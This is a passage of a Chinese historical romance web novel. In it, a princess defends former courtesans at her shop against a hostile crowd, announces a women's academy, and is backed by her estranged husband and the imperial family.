小女孩见她看来,抖着肩膀将手松开,两手摩挲,怯怯道:“姐、姐姐对不起,我、我……” 她鼓起勇气,小声道:“我是想和你说、说谢谢。陆哥哥教过我们,要说谢谢的。” 萧婧华看着她。 小女孩的五官其实长得很标志,只是眼下有个成年男子两指大小的红色胎记,破坏了那份秀美。 她的眼睛很大,水汪汪的,似从雪山上淌下来的清泉,散发着清冽的气息。 萧婧华颔首,“不客气。” 望着小女孩骤然亮起来的眼睛,她犹豫了片刻,抬起手掌,在她头上轻轻拍了拍。 望着萧婧华走远,小女孩双手捂住脑袋,小手刚好放在她方才触碰过的位置。 她嘿嘿笑着,陆哥哥是个好人,他的妻子也是好人。 真好。 陆哥哥和他的妻子,一定会长命百岁,好人有好报。 出了养护院,萧婧华回首望着已经破败的门匾,久久站立。 他对所有人都好。 唯独对她不好。 …… 陆埕这阵子很是不安。 前些时日萧婧华对他虽也是不假辞色,但也不似现在的冷若冰霜。 无论他与她说什么,她都不回应,仿佛面前杵着的不是活生生的人,而是空气。 他焦虑、忐忑,心烦意乱,坐立不安,生怕她下一瞬便会掏出一封和离书,彻底远离他的世界。 焦灼中,陆埕恍惚间想,当初的她,可是如他现在这般失魂落魄? 陆埕自嘲一笑。 那可真是自作自受。 他该受着。 陆埕此人心性最是坚韧,勉强平复杂乱无章的心绪,在府里,无论萧婧华在哪儿,他都拄着拐杖,拿着公文跟着。 不求她给个好脸色,只死皮赖脸地让她知道他的存在。 好在萧婧华虽不搭理他,但并未驱赶。 陆埕松了口气。 这样的日子过了将近十日,四月二十那日,陆埕甚至全天都跟着萧婧华,惹得她扔来好几个冰冷眼刀。 陆埕置若罔闻,毫不在意,甚至抬眸对她笑,温声问:“喝茶么?” 萧婧华朝他翻个白眼,背过身去不理他。 有陆埕这个惹人烦的存在,她甚至都没功夫伤怀。 陆埕望了眼她的背影,低头处理公务。 腿上的伤渐渐在好,四月二十四,陆埕起了大早,拦住箬兰箬竹说了几句话,缓步去了厨房。 和孟年好一通忙活,回去时萧婧华已经醒了,正坐在桌前发呆。 陆埕走过去。 人影落下,萧婧华回神,神色冷淡望着他,随后视线下滑。略微恍神,终于主动和陆埕搭话。 “这是什么?” 碗里盛着面条,放着青菜荷包蛋,另有鸡丝牛肉,色香味俱全。 “长寿面。” 陆埕道:“今晚让娘她们早些回来,明日我和你一起回王府。” 萧婧华长睫一颤,缓缓抬眸。 熹光里,陆埕神色温柔得不可思议,“我想,明日。你应该是想和父王一起过。” 他低声道:“婧华,生辰快乐。” 明日是她十八岁生辰。 他竟一直记着。 搭在桌沿的指尖收紧,萧婧华咬着唇,缓缓挪动玉手。 见她动筷,陆埕眼里溢出欣喜,“我还有礼……” “郡主!” 箬兰的声音急急响起,步伐杂乱无章,匆匆跑来。 “出事了!” 第86章 “今日早晨,铺子里来了对新婚夫妇,那男子盯着丹晴看了许久,被他娘子发觉了,当着众人的面闹开。男子不悦,直接说,说……” 箬兰面带犹豫。 萧婧华道:“吞吞吐吐的做什么?说。”箬兰脸色难看,语调含着愤怒,“说丹晴本就是做那种、那种勾当的。”咬着牙,箬兰将剩下的话说完,“她全身上下都被他看过,有什么不能看的。” “他嗓门大,附近的人都被吸引了过来,听说铺子里的姑娘从前是从青楼出来的,在铺子前闹来。” 箬兰咬牙,“说他们嫌脏。” 萧婧华久久不语。 半晌,她倏地冷笑,“逛窑。子的时候不嫌脏,现在光明正大做生意,他们倒是知道嫌了。” 将筷子拍在木桌上,萧婧华霍地起身,大步往外走,“备马。” 箬兰急急跟上。 陆埕在一旁听了全程,见萧婧华撇下他火急火燎离开,有些着急,略带蹒跚走到门前,放声道:“孟年!” “怎么了?”孟年从角落里窜出,往屋里望了眼,“郡主呢?” 陆埕没答,“备马,我要出去。” 孟年为难地看着他的腿,“你的伤还没好呢。” “不碍事,赶紧去备马。” 见他这般焦急,孟年压下好奇心,匆匆去牵马。 …… 陆府门前立着一名姑娘,来回走着,脸上遍布焦急。 那姑娘见了萧婧华,眼睛亮起,殷切道:“郡主……” “我知道。” 萧婧华止住她的话,利落跨上箬竹牵来的马。 “予安,你回王府调两队侍卫去蒲草居候着,以防万一。” 予安拱手,“是。” 她骑上马,瞬息间不见了踪迹。 萧婧华一扬马鞭,骑马朝蒲草居而去。 觅真拉了那姑娘上马,紧随其后。 离得还有些远,萧婧华便看见蒲草居门前围了许多人,喧嚣似锣鼓,几欲震天。 翻身下马,将缰绳扔给落后一步的觅真,她快步走近。 “留这种人在铺子里,传出去多难听啊。” “是啊,从青楼里出来的姑娘,身上说不准带了什么脏病,这些女客可都是清清白白的闺秀,若是一个不小心染上了,上哪儿哭去?” 人群议论纷纷,对着门前几人指指点点。 温婵姿立在最前头,护着身后的丹晴,芳琇和思思站在她两侧,咬唇不语。 丹晴垂着脸,看不清神色,听着众人的指点,她似石雕般一动不动。 萧婧华沉气听完,脸色极为难看。 一只手搭住她肩,萧婧华猛地偏头,目光触及来人,略显柔和,“你们也来了。” 云慕筱点头,担忧道:“怎么突然就闹开了?” 谢瑛在一旁听着,沉着脸道:“一群败类,还是男人呢,对几个手无缚鸡之力的姑娘说得这么难听。” 萧婧华抿唇。 恰在这时,人群中一名身着黑衣,腰带环佩的男子指着思思,语气惊讶,“你不是晴芳楼的思思吗?怎么也在这儿?” 又有人指着芳琇,震惊道:“还有她,是松香阁的芳琇!” 人群哗然。 最前方站着一对男女,黄衣男子的目光在温婵姿几人身上绕了一圈,语气轻佻,“合着你们都是青楼出身,妓。子做生意,做什么?皮肉生意?” 拖腔拉调,下流又猥琐。 百姓们一下子便炸了。 “不成!这铺子来来往往这么多女客,万一她们对姑娘们下手怎么办?” “这儿来往的可都是些清白人家的姑娘!” “一群黑心肝的东西,要我说,这店不能再开下去了,砸了最好!” “砸了,砸了!” 谢瑛咬牙,“这些人也太过分了,简直蛮不讲理!别人光明正大开门做生意,碍着他们什么事了!” 云慕筱缓缓摇头,嗓音极轻,带着无奈怜意,“女子做生意没错,错就错在,她们曾是青楼女子。” 无论什么时候,世人看待她们时始终是不公平的。 不管她们因何流落青楼,只要曾在里面待过一日,身上便被打上“低贱”的烙印。 哪怕本朝因新昌大长公主之故,世人待女子多了几分宽容,在外行走不用戴帷帽遮面,允许她们二嫁三嫁,立女户经商。可对于某些人来说,有些东西是刻在骨子里的。 他们的傲慢从未改变。 站在温婵姿身后的丹晴蓦地往前迈了一步,迎着众多憎恶,或是惊艳中夹杂着厌恶的目光,她对着人群前方的黄衣男子娇柔一笑。 “哟,黄公子这么生气,该不会是因为,当初我拒绝随你入府的请求吧?” 她捻着腮边发丝,轻轻一吹,巧笑倩兮,“想当初,听闻我要为自己赎身,黄公子可是带了半副身家,只求我入府呢。如今只是被我拒绝,怎么还恼羞成怒了呢?” 丹晴笑着对黄公子身侧的女子道:“这位夫人,这般小肚鸡肠的男子,属实非良配啊。” “对了。” 她挑挑眉,一脸忠告,“一个绣花枕头,说不准是个不能生的,夫人可要仔细甄别,当心被骗了。” 那女子起初一脸愤怒,听到这句话,霎时压不住满腔火气,“你胡言乱语什么呢!” “我可没胡说。”丹晴耸肩,“听闻黄公子后院置了十八房妾室,无一生养,可不是不能生。” 女子气得脸红,“正妻未入门,妾室如何能生养?” “夫人不知?”丹晴瞪大眼睛,水眸满是震惊,“黄公子前头可娶过一位夫人,早就没这规矩了。” 女子声音劈了叉,“你说什么?” 被戳中痛处,又被揭穿老底的黄公子恼羞成怒,“下贱的东西,你在我夫人面前胡言乱语什么?!” “黄公子亲口所言,道是在入京前曾娶过一房,你也就是仗着山高水远,夫人消息不灵通罢了。” 丹晴看向女子,“夫人若是不信,大可回府瞧瞧,他们黄家是否放着前头夫人的牌位。” 女子一脸呆滞,却是有几分信了,眼里透出狠意,猛地看向黄公子,“她说的可是真的?” 黄公子暗道不好,攥住丹晴的腕子,压低声线,“嘴巴给我放干净些!当心我要你吃不了兜着走!” 丹晴柔柔笑着,声若蚊蝇,“我好不容易摆脱那个肮脏的地方,过上现在的生活,你若是毁了,我就敢拉着你下地狱。” 女声妩媚娇柔,却带着十足狠劲,黄公子周身一凛,有片刻的惧意。 察觉到自己面对一个妓子竟有退缩之意,他气急败坏,狠狠将丹晴扯住,高声道:“大家看啊,这贱。人不怀好意,当着众人的面便敢破坏我夫妻二人的感情,这种脏东西若是留着带坏你们的妻子儿女,只会让无数个家庭分崩离析。” 他语气激烈,愤慨不已,“这铺子千万不能留下!” “不能留着,砸了!” “砸了,砸了!” 谢瑛气炸了,“这人怎么这么恶毒!我去教训教训他!” 萧婧华拦住她,摇了摇头,“我去。” “可你……” 话音未落,两队身着甲胄的护卫踏着整齐划一的步伐靠近,挡在愤慨百姓面前,将铺子团团围住。 予安策马而来,快步迎向萧婧华。 略点了下头,她和觅真一道将人群隔开,开出一条路。 对云慕筱和谢瑛安抚一笑,萧婧华顺着石阶往上,来到温婵姿身边。 温婵姿面色一变,“你怎么来了?” 她眼神好,瞧见人群中去报信的那个姑娘,低低骂了一句,“回去吧,我能应付。” “总不能一直当个甩手掌柜,什么都让你抗吧。” 萧婧华轻轻一笑,望向黄公子,“是你要砸了本郡主的铺子?” 突如其来的变故令黄公子一慌,勉强稳住心神,“不错,你这铺子里有脏东西,我……郡、郡主?!” 黄公子声线一抖,直到此时才发觉萧婧华的自称。 萧婧华似未曾看到他眼中慌乱,气定神闲道:“本郡主这铺子来往的皆是贵客,每日晨间傍晚都会令人仔细打扫,哪儿来的什么脏东西?” 她的语气还算和善,黄公子放心稍许,“郡主大抵是不知,您铺子里这几个,都是从青楼出来的。” 萧婧华打断他的话,“我知。” “什么?” 黄公子瞪大了眼,百姓纷纷哗然,轰然一声闹开。 “郡主这是何意?” 有人质问。 “没什么别的意思,纯粹是本郡主心善,助人为乐罢了。”萧婧华下颌轻抬,“丹晴,你说说,你因何流落青楼。” 丹晴用力甩开黄公子的手,朝他翻个白眼,“我那赌鬼老爹没钱去赌,五两银子把我给卖了。” “芳琇,你呢?” 垂首缄默的芳琇抬头,轻声道:“家里许久揭不开锅,弟弟妹妹饿得只能啃树皮,爹娘日日夜夜在哭。后来他们把我带去一栋很漂亮的楼,告诉我留在那儿能吃饱饭,我就留下了。” 萧婧华又问:“思思呢?” 思思冷着脸,讥笑道:“我父母双亡,兄长愚昧无知,耳根子软。娶妻之后,嫂嫂撺掇着他将我送人为妾,我连夜逃跑,却被拍花子卖去了青楼。” 三个姑娘,各有各的苦。 萧婧华望着面前众人,“各位可听清了?为奴为妓,非她们所愿。若非形势所迫,谁不想做个体面人?” “她们为了生存,无奈入了风尘。深知以色侍人非长久事,这几个姑娘好不容易为自己赎了身,想光明正大、堂堂正正地活下去,何错之有?” 人群中的嘈杂声小了,一位头发花白的老人固执道:“她们身世虽然可怜,但终究是青楼女子。既为自己赎身,就该老老实实过自己的日子,整日在外头抛头露面,实在有伤风化!” “你!” 丹晴气极,当即便要上前,被思思和芳琇拦住。 “别冲动,碍了郡主的事。” 丹晴硬生生忍住了。 萧婧华气笑了,“这位老人家,她们不出来做生意,靠什么过活?难不成靠你心善,无缘无故送去半副身家接济?” 见老人瞪大眼,萧婧华哂笑,“这话说出来,你自己都不信。” “几个本分做生意的姑娘,如何就有伤风化了?你是亲眼看见她们对男人搔首弄姿?还是在大庭广众之下公然引诱你?” 萧婧华冷笑,“也不撒泡尿照照自己,一只癞。虫合蟆,成天就知道臆想。” “心思龌龊之人,看什么都是脏的。” 她冷声,“愚不可及。” 人群炸开。 “郡主这是何意?!” “今日当真要包庇她们不成?” 那老人更是气得脸色发白,颤抖着说:“不可理喻,唯女子与小人难养也!” “包庇?” 萧婧华笑了,“不过是几个有着一段过去的可怜姑娘,又不是什么江洋大盗杀人凶犯,谈何包庇?” “不过嘛。”萧婧华将垂在脸侧的发丝勾在耳后,浅浅一笑,“今日她们几个,我还真就护定了。” 黄公子口不择言,“郡主简直是是非不分!” “是与非,不是由你来定论。” 萧婧华挪去一眼,“不过方才是你提出要将本郡主的铺子砸了?” 黄公子惶恐之下结结巴巴道:“是……不是!不是我!” “是不是的并无大碍。”萧婧华下巴点着铺子上的牌匾,扬声道:“这牌匾可是当今陛下亲自题的字,你们有几个脑袋,竟敢毁坏圣迹。” “假的吧,一家普通的胭脂铺子,怎么能得陛下亲笔题字?” “话不能这么说,琅华郡主可是陛下的亲侄女,想要一幅字,那还不是一句话的事。” 有人退缩,“当真是陛下圣迹啊?” “十有八。九是了。” 将众人神色尽收眼底,萧婧华道:“本郡主不管你们怎么想,这铺子是我罩的,不服也得给我憋着。” “若是心怀芥蒂,大可往后见了这铺子就绕道走,胆敢再来闹事,我绝不姑息!” 少女冷着脸站在日光下,似冬日堆雪迎上春日旭阳,碰撞间噼里啪啦响,光华刹那绽放。 在她身后,护卫们身着甲胄,手握长枪,银光乍现,寒意顿生。 如一兜冷水当头泼来,百姓们纷纷降下气焰。 见状,萧婧华神色稍缓,轻轻一叹,“说来说去,不过是民生困苦,才让姑娘们误入歧途。我想,倘若女子能多读书,哪怕不能封侯拜相,也能多条出路。” “纯懿皇后当年曾提出建立女子书院,后不了了之。我愿承先祖遗志,为姑娘们开辟新路。” 此话一出,哗声极盛。 “郡主说的可是真的?” “女子书院,简直前所未闻!” “不想学就上一边去!”有人将说话者挤开,“别碍事。” “这……能多读些书,确实是好事,看世人对读书人有多推崇便知一二。可女子又不能科考,读来又有何用?” “笨啊,大户人家就连丫鬟都是断文识字的,就算不能科考,这要是在胭脂成衣铺子里当个女账房,不也是条出路?” “……是这个理。” 隔壁茶楼。 萧长瑾望着下方似竹挺立的萧婧华,缓缓扬唇,悠悠叹道:“婧华长大了。” 刚柔并济,已有了几分父皇和皇叔的模样。 下方,黄公子暗骂墙头草,目光无意间从某处掠过,辨认片刻来人的身份,眼睛蓦地亮起,高声道:“陆大人身为郡主的夫婿,竟也同意她这般乱来?” 众人顺着他的视线望去。 萧婧华亦是回眸,静静看着下方男子。 陆埕素衣裹身,玉面无暇,便是腿上有伤,依然不掩风采。 他静立人群,对上首萧婧华拱手,嗓音清朗,掷地有声。 “郡主良善,心怀天下。为臣,陆某不胜感激。为夫,我以她为荣。” 第87章 “女子书院,前所未有,郡主此举是在挑战礼法!” 老人颤巍巍怒喝。 萧婧华冷眼看过去,扬起一抹笑,缓步向他走去。 弯着腰,她在老人耳边低声道:“再多废话一句,就劳烦老人家去刑部大牢走一趟了。” “你!” 老人瞪眼,“这是威胁!威胁!” “是啊。”萧婧华弯着眼笑,“我就是在威胁你。别忘了我是谁,这天下又姓的是什么。” 她悠悠道:“别以为我脾性好,一般不与百姓见识,就不把我当回事。” 她是真的,忍很久了。 老人不禁退后,眼里流露出惧意。 萧婧华直起身,不紧不慢理着袖上折痕,“老人家可还有话说?” 老人嘴唇蠕动,垂首不语。 萧婧华缓慢扯唇,暗含讽意。 “行了,都散了吧,净耽误人做生意。” 她挥袖。 “郡主,那书院一事……” 有个中年男子呐呐出声。 他应当是来看热闹的,穿着普通灰色布衫,全身整齐干净,面相憨厚,褐色双眸胆怯而殷切地注视着她。 萧婧华语气添了几分郑重,“书院落成费时费力,但我一定尽力为之,争取早日开院。” 中年男子眼睛刹那被点亮,叠声道谢,“多谢郡主,多谢郡主。” 萧婧华面色微缓,嗓音放柔,“散了吧。” “诶,好,我这就走,这就走。” 中年男子面色兴奋转身离去。 没了热闹,人群渐渐散去,走时仍在议论女子书院一事。 有人裹在人群中,想趁机逃跑。 萧婧华双眸微眯,“予安。” 予安:“在。” 萧婧华对那人扬了扬下巴,予安一点头,转身准确无误地拎着他的后衣领,将人拎了过来。 “郡主饶命,郡主饶命啊。”黄公子跪地求饶,“我只是对丹晴姑娘不愿嫁我之事耿耿于怀,因爱生恨,冲动之下想给她一个教训,这才冲撞了郡主,求郡主饶命啊!” 丹晴冲上去踹了他一脚,咬牙恨声,“什么教训,你这分明是想毁了我来之不易的平静生活!老娘真恨不得把你碎尸万段!” 黄公子的妻子站在一旁,惶恐不安。 瞥过痛哭流涕的黄公子,萧婧华道:“此事实则与你并无干系,你先回去吧。” 陆埕在孟年的搀扶下慢慢走上石阶,闻言道:“若丹晴姑娘的话属实,你可与他和离。” 女子咬着唇,望了黄公子一眼,僵硬道:“多、多谢郡主,妾身会考虑的。” 她服了服身,转身走了。 “郡主饶命,郡主饶命啊!” 黄公子仍在求饶。 萧婧华对此人很是厌烦,扯落腰间钱袋,“要打一边打去,给个教训就行,别闹出人命,这是诊金。” 丹晴接了钱袋,喜笑颜开,“好嘞,我这就去。劳烦予安姐姐帮我一把。” 予安一言不发,拎着黄公子往旁边避去。 丹晴连忙拉了思思和芳琇一起。 闹成这样,今日的生意是没心思做了。 萧婧华刚要往蒲草居走,脚步刚提起又是一顿,对陆埕道:“我还有事,你先回吧。” 陆埕:“无碍,我等……” 话音未落,萧婧华已经率先进门。 云慕筱对他略一颔首,拉着谢瑛进去。 温婵姿瞧他两眼,那眼神看得陆埕莫名其妙,总觉得背后发凉,“温姑娘有事?” “没事。”温婵姿摇头,温和一笑,“只是陆大人,嗯……”她停顿片刻,“伤好后,还需得好好练练。” 说完,她进了屋。 陆埕思量着她的话,垂眸望了眼白净手掌。 这是何意?练什么? 没等他想出个所以然来,孟年碰了下他肩,“大人,太子殿下。” 陆埕抬眸。 二楼窗边,萧长瑾长身玉立,对他招了下手。 …… “那女子书院当真要建?” 谢瑛一进门便问。 “当然。” 萧婧华不假思索,“我向来一言九鼎。” 这个念头在养护院见到那名小女孩时便隐隐约约浮现过,直到今日才彻底落实。 无论是那个小女孩,还是丹晴几人都是可怜人,她既有能力,便想着帮一把和她们有相同遭遇的姑娘。 “不仅要建,还得建得漂亮。” “成。”谢瑛爽快点头,“若有用得上我们的地方,你只管吩咐。” 萧婧华笑,“我可记住了啊。” 谢瑛挑眉,“放心,一定随叫随到。” 惦记着这事,萧婧华没多待,临走前对温婵姿道:“倘若再有人来闹事,下次不必留情面,直接送去官府。” 温婵姿柔和笑着,笑里掺杂些许愧疚,“终究还是连累你了。”萧婧华斜她,“若是怕被连累,我当初便不会开这间铺子。” “行了。”拍着温婵姿的肩,萧婧华笑着说:“好好做生意吧温大掌柜,往后用钱的地方多了去了,到时说不准还得靠你接济呢。” 她的神色真挚诚恳,丝毫没有勉强。温婵姿弯起眼,眼里阴霾散去,星点笑意浮现,语气很是豪爽,“行,包在我身上。” 与众人打了招呼,刚出蒲草居,觅真便牵着走来。 萧婧华翻身上马,两队护卫有序将她护在中间。 牵着马缰,她正要走,余光刮过陆埕,轻“咦”一声,“你怎么还没走?” 陆埕撑着孟年走下石阶,“在等你。” 萧婧华“哦”了一声,口中轻叱,马蹄哒哒走远。 完好的那条腿踩着马镫,陆埕上马,缓了片刻后马鞭一扬,与萧婧华并驾齐驱。 这一路颇为漫长,萧婧华蓦地出声,“你方才说的,是真心话?” “什么?”陆埕先是一怔,旋即反应过来,“真心的。” 萧婧华侧眸看他。 他目视前方,眸光清亮,似乎永远不会被雾霾遮掩。 “从古至今,女子的处境都比男子差些。你铺子里那几个姑娘,虽无奈流落风尘,却未被同化,始终保持一颗清醒自救的心。我很佩服。” “能看透她们内心,救她们出风尘,想让这样的姑娘越来越少的你,我更是钦佩。” 他缓缓看过来,清浅笑着,“婧华,你做了许多人从未想过也不敢做的事,我以你为荣。” 萧婧华心中一震。 方才陆埕当着这么多人的面说出这句话,她的内心虽有波澜,但却似蜻蜓点水,雁过无痕。 可此时此刻,心里仿佛有只雀鸟扇动翅膀,拨弄风云,令她久久不能平静。 最终,萧婧华撇开脸去,淡淡道:“你高看我了,是她们自己救了自己。我只是给了她们一个容身之处。” 她双手拉着缰绳,“驾!” 棕色马儿低声嘶鸣,驾着她缓缓往家走。 金色日光照落,少女腰背挺直,金钗耀眼,连头发丝都在发光。 陆埕久久凝视,待少女将要走出街道时,驾马追了上去。 …… 姐妹俩一同出了蒲草居。 没见着萧婧华,谢瑛嘟囔一句,“婧华走这么快做什么。” 她拉着云慕筱,“走吧,咱们也回去。” 阴影落下,挡住姐妹俩的去路。 钟文一身常服,双手抱拳,“云三姑娘,殿下有请。” 不远处,熟悉人影立在树下,如圭如璋,仪表轩昂。 他正望着这个方向,凤眸熠熠,似有星河涌动,唇畔笑意恰如春风。 谢瑛撇嘴,松开云慕筱的手,“去吧,我等你。”又不甘心地补充一句,“不能太久。” 带着赧意的目光轻飘飘瞪她一眼,云慕筱缓步朝树下那人走去。 谢瑛张望一眼,走到树下替他们望风,靠着树干,双臂枕在脑后,耷拉着眉眼,恹恹瞧着树下那两人。 婧华成了亲,清姐的婚事也定下了,慕亭那丫头这么小就有了心上人,筱筱瞧着好事也快了,哦,对了,再过几日便是妙云表妹的喜事。 一个个的出双入对,弄得她很是惆怅。 谢瑛愤愤想,不成,明日还需去找仰将军打一架,泄泄心中郁气。 这次不信她赢不了。 …… 云慕筱福身,“殿下今日怎的出宫了?” 萧长瑾笑着,“所思不在宫闱,闲暇时自是念着出来。” 云慕筱垂着眸,唇线微抿。 “给你带了些糕点。” 负在身后的手探出,萧长瑾指尖挂着食盒,“御膳房新做的,孤吃着还不错,你尝尝。” 说着,他将盖子打开。 里边躺着一碟子红豆糕,糕体被做成花形,似朵朵桃花绽放。 两指捻起一块,云慕筱轻轻一咬。入口松软,甜而不腻。 萧长瑾问:“好吃吗?” 云慕筱点头。 萧长瑾便笑了,“还有多的,拿回去让谢姑娘也尝尝。” 远处飞来的眼刀他想忽视都不行。 瞥了眼食盒上的宫中徽记,云慕筱飞快挪开视线,取出帕子包了两块红豆糕,“她吃不了这么多,两块就够了。” 萧长瑾笑意微敛,盖上盖子,双手负在身后,“好。” 觑他一眼,云慕筱咬咬唇。 她捧着糕点,不着痕迹转移话题,“方才这里发生的事,殿下都知道了?” 萧长瑾颔首,眸光轻柔,喉间轻叹,“婧华长大了。” “她分明只比你小几个月,可孤总觉得,她还是个需要家人遮风挡雨的小姑娘。谁知一转眼,小姑娘就能独当一面了。” 云慕筱轻笑着,“殿下小看她了。” 萧长瑾坦然认错,“是孤的错。” “那殿下觉得,婧华提出的女子书院,是否可行?” 萧长瑾思忖着,“当年曾祖母纯懿皇后也曾提出修建女子书院,可惜我朝初立,国库吃紧,加之外族虎视眈眈,曾祖母只好暂且将此搁置,着手国计民生。待她能腾出手时已是晚年,早年她随曾祖征战天下,留下不少病痛,曾祖不愿她劳心费神,此事便彻底没了音信。婧华能承她遗志,不仅是孤,想必父皇也是欢喜的。” 他笑着,“当年不成,不意味着如今不成。” 云慕筱踌躇。 萧长瑾温声问:“怎么了?” 她沉气,抬眸迎上他的目光,“书院不可少夫子,殿下觉得,臣女如何?可能胜任?” 萧长瑾微顿。 少女无畏与他对视,清透眸光坚定执着。 二人目光在空中交汇许久。 萧长瑾无奈,掩下叹息,柔声道:“三姑娘出身世家,自幼得名师教诲,一个书院夫子,自是不在话下。” 云慕筱明白了。 她轻轻扬唇,笑意似雨打芙蕖,清丽无双。 呢喃声顺着清风飘进萧长瑾耳中。 “谢谢。” 他轻笑。 “你我之间,何须言谢。” …… “郡主,郡主!” 单手扶着陆埕进院,孟年连声叫住正要进屋的萧婧华。 她回身,“怎么了?” 孟年扬了扬手中食盒,“太子殿下给您带了糕点。” “太子哥哥出宫了?” 萧婧华惊讶,眉尾一挑,没好气地嘟囔一声,“哼,见色忘妹。” 脚步轻快走到孟年面前,萧婧华拎起食盒,打开盖子往里瞧了一眼,心情明显不错,“谢了。” 想起在钟文那儿看到的另一个食盒,陆埕迟疑,“太子殿下和云家姑娘……” 话还没说完,萧婧华立即睨他,“哥哥和筱筱的事,你最好咽进肚子里,若是传出去了,我要你好看。” 陆埕意外。 还真是云家姑娘? 他忙道:“别人之事,我怎会乱传?” 这人的嘴一向严实,萧婧华也不过是随口一说。起码陆埕的人品在她这儿还是过关的。 “你知道就好。” 她拎着食盒进屋。 陆埕慢慢跟在她身后。 等他走到门口时,萧婧华已经将食盒打开,拿着糕点津津有味地吃着。 早上那碗长寿面,她一口没吃就被人叫走,现在还饿着呢。 陆埕道:“面凉了,我再去给你下碗。” “不用。” 萧婧华咽下糕点,“都这个点了,随便吃点垫垫行了,一会儿让厨房早些做午膳。” 陆埕:“好。” 他敲了敲门,礼貌道:“我能进去吗?” 萧婧华又拿起一块糕点,口中不停。 她不应,陆埕便一直等着。 “进进进!” 萧婧华烦死了。 清晨给她送面时没见他敲门,这人怎么这么多破规矩!一会儿守一会儿不守的,以前怎么没发现他这么烦人! 陆埕进门,在萧婧华对面落座。 顶着萧婧华不耐的目光,他轻声开口,“书院一事,你准备怎么做?” 第88章 萧婧华蹙起眉,咀嚼的动作不觉放缓,认真思索着,“得先找个合适的地儿,明个回王府时问问汤公公,看看王府在城里的地契里有没有合适的。” 陆埕轻轻摇头。 萧婧华当即不悦,眼刀蹭一下飞去,“你什么意思?” 他笑了下,温声道:“无论老幼病残,百姓入城需交门税,倘若将书院设在城中,岂不是在入城一事上就设了门槛?” “还有门税?” 萧婧华惊讶。 长这么大,她从来没听说过进城还要交门税的。 咽下糕点,饮了口茶,萧婧华问:“多少?” “一个人头一文钱。” “才一文钱,我……” “婧华。” 陆埕轻声将她打断。 萧婧华抬眸,不解扬眉。 他看着她,凤眸含光,“你为他们考量,是你心善,可你不能事事包揽。人心易变,起初他们会恭维你,赞颂你,可只要你有一点做得不尽人意,到时,那些称赞只会变成攻击你的利器。” “你只是授渔之人,是引领者,开拓者,不是他们的父母。尽责尽力,问心无愧即好。” 萧婧华怔怔看着他。 陆埕静静回视。 视线与他相触,萧婧华飞快转开,半垂着头,闷声闷气道:“哦。” 陆埕眼里露笑,“除此之外,还有束脩、夫子、包括宿食等等,都需要你费心。” “这是个大工程,但我相信,是你的话,会成功的。” 萧婧华语气有些冲,“当然。” 陆埕也不生气,柔声道:“我会帮你。” 此时此刻,萧婧华恍惚间觉得,四年前那个陆埕好像又回来了。 当初,他也是这般轻言细语,温如暖玉,轻声和她说话,包容她,爱护她。 萧婧华紧紧抿唇,垂下眉眼。 眼眶有些发酸,心中波涛汹涌,冲击着竖起的高墙。 慢慢的,胸前起伏平缓,她冷静下来,“有事我会去寻太子哥哥,陆大人日理万机,就不劳烦了。” 陆埕微顿,“太子殿下只会比我更繁忙。” 萧婧华大怒,拍案而起,“我就喜欢找他,要你管!” 陆埕:“……” …… 翌日回王府,萧婧华赶走陆埕,殷勤地为恭亲王倒水揉肩。 恭亲王闭眼享受服侍,悠闲道:“哟,萧大院长今日过生辰还这么体贴呢。” 这是知道她昨日出了什么风头。 萧婧华趴在恭亲王肩头,亲亲热热地说:“父王,今年的生辰礼……” 恭亲王轻哼,“怎么,不满意?”“满意,当然满意!” 萧婧华当即表示,“只是……我能不能先提前预支一下明年的?” 恭亲王问:“你想要什么?” “咱们家在城外,有没有适合建书院的地?” 恭亲王睁眼,摸着下巴思索,“这个我还真记不清。” 他朝外吩咐一声,“让汤正德过来。” 萧婧华喜出望外,“父王这是答应了?” “我乖女儿想要什么,父王还能不给?” “父王真好!” 萧婧华从背后揽住恭亲王的脖子,一个劲地晃啊晃。 “行了行了,别晃了,晃得我头晕。”恭亲王忙道。 透过窗瞧见汤正德走来的身影,萧婧华兴奋地松开恭亲王,提着裙子便往外跑,留下一句含笑嗓音。 “我最最最喜欢父王了!” “这丫头。” 望着萧婧华拉着汤正德往外走去的身影,恭亲王无奈摇头。 “惯会说些好听的。” 话虽如此,唇畔笑意却久久不落。 晚上崇宁帝宣一家人进宫用膳,晚膳过后,他让成京拿了个木匣子给萧婧华。 打开一瞧,满满当当的银票。 “放手去做,你有此志,皇祖母泉下有知,定然也是欣慰的。” 萧婧华感动地抱住崇宁帝的胳膊,撒娇道:“皇伯父对我最好了,您是全天下最最最好的伯父!” “这就最好了?”崇宁帝好笑,“倘若朕说,给你拨几个工部的人呢?” “真的?”萧婧华惊喜交加,“那就再加一个最!” “你啊。” 崇宁帝含笑拍着萧婧华手背,转头看着陆埕,“陆卿曾在工部任职,不如就由你为婧华择人吧。” 余光瞧了眼萧婧华,见她神色寻常,陆埕恭声道:“臣遵旨。” 崇宁帝眉梢微动,“今日无君臣,你随婧华唤朕一声皇伯父即可。” 陆埕怔住,从善如流,“是,皇伯父。” 萧婧华朝他翻了个白眼,亲热地和崇宁帝挨在一起说话,惹得乐宁朝她唰唰飞着眼刀。 背对着她的人忽然转过身,笑盈盈道:“乐宁,我的生辰礼呢?” 乐宁猝不及防,眼神险些没刹住,见崇宁帝也跟着看过来,噎了噎,憋气道:“呈上来。” 内侍将礼呈上。 萧婧华打开一看,是条瑰丽绚烂的红宝石璎珞。 她满意了。 端和也趁机送上自己的礼,一对鎏金孔雀石蜻蜓耳铛。 崇宁帝欣慰,“不错,你们姐妹三人就该多亲近亲近。” 三个姑娘笑着,视线在空中交汇一瞬,又纷纷不屑挪开。 切。 一家人其乐融融地闲聊,崇宁帝始终含笑,无半分不耐。眼见天色不早,恭亲王带着女儿女婿辞别。 萧长瑾送他们出宫。 他原和恭亲王并肩,走着走着挪到了萧婧华身旁。 萧婧华心领会神,放慢了脚步,兄妹俩坠在人群后悄悄说话。 “书院夫子可有头绪了?” 萧婧华摇头,“还早呢,先把书院建起来再说。” “孤倒是有个人选。” 萧婧华眨眼,心里有个猜测,“谁呀?” 萧长瑾道:“敬国公府的云三姑娘。” 猜测得到证实,萧婧华好奇问:“是你提的还是筱筱提的?你们现在什么进展?” 萧长瑾无奈拍了下她头顶,“什么什么进展。” 懂了,暂时还是没戏。 萧婧华略带同情道:“哥,你不太行啊。” 萧长瑾脚步一顿,微笑道:“比起陆卿,还算尚可。” 说他作甚?这有什么可比性? 萧婧华瞪他,“筱筱若是想做夫子,自然会和我提的。不过哥哥。” 